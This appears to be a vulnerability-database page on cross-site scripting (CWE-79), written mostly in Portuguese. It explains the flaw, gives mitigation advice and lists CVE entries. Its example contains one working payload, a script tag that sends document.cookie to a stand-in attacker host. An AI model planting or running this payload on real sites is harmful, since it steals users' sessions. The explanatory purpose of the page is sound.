Fallos del tipo CWE-79

29.080 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-28092HIGHUBEE DDW365 XCNDDW365 8.14.3105 software on hardware 3.13.1 allows a remote attacker within Wi-Fi proximity to conduct stored XSS attacks viEPSS 0.5%CVE-2025-2207MEDIUMaitangbao springboot-manager dept cross site scriptingEPSS 0.5%CVE-2026-59833HIGHSiYuan: Stored XSS to RCE in SiYuan via a per-attribute URL-scheme sanitizer gap in Lute (form action / SVG xlink:href)EPSS 0.5%CVE-2023-3500MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.5%CVE-2023-1917MEDIUMPowerPress <= 10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2023-0878MEDIUMCross-site Scripting (XSS) - Generic in nuxt/frameworkEPSS 0.5%CVE-2022-41206MEDIUMSAP BusinessObjects Business Intelligence platform (Analysis for OLAP) - versions 420, 430, allows an authenticated attacker to send user-coEPSS 0.5%CVE-2022-43271MEDIUMInhabit Systems Pty Ltd Move CRM version 4, build 260 was discovered to contain a cross-site scripting (XSS) vulnerability via the User profEPSS 0.5%CVE-2023-33940MEDIUMCross-site scripting (XSS) vulnerability in IFrame type Remote Apps in Liferay Portal 7.4.0 through 7.4.3.30, and Liferay DXP 7.4 before updEPSS 0.5%CVE-2024-32344MEDIUMA cross-site scripting (XSS) vulnerability in the Settings menu of CMSimple v5.15 allows attackers to execute arbitrary web scripts or HTML EPSS 0.5%CVE-2023-20060MEDIUMCisco Prime Collaboration Deployment Cross-Site Scripting VulnerabilityEPSS 0.5%CVE-2023-5707MEDIUMSEO Slider <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-24512MEDIUMCross Site Scripting vulnerability in Pkp OJS v.3.4 allows an attacker to execute arbitrary code via the input subtitle component.EPSS 0.5%CVE-2025-3554MEDIUMphpshe api.php cross site scriptingEPSS 0.5%CVE-2024-41808HIGHOpenObserve stored XSS vulnerability may lead to complete account takeoverEPSS 0.5%CVE-2023-41703MEDIUMUser ID references at mentions in document comments were not correctly sanitized. Script code could be injected to a users session when workEPSS 0.5%CVE-2021-39036MEDIUMIBM Cognos Analytics cross-site scriptingEPSS 0.5%CVE-2023-5917LOWphpBB Smiley Pack acp_icons.php main cross site scriptingEPSS 0.5%CVE-2024-1794HIGHForminator <= 1.29.0 - Unauthenticated Stored Cross-Site Scripting via File UploadEPSS 0.5%CVE-2023-41704HIGHProcessing of CID references at E-Mail can be abused to inject malicious script code that passes the sanitization engine. Malicious script cEPSS 0.5%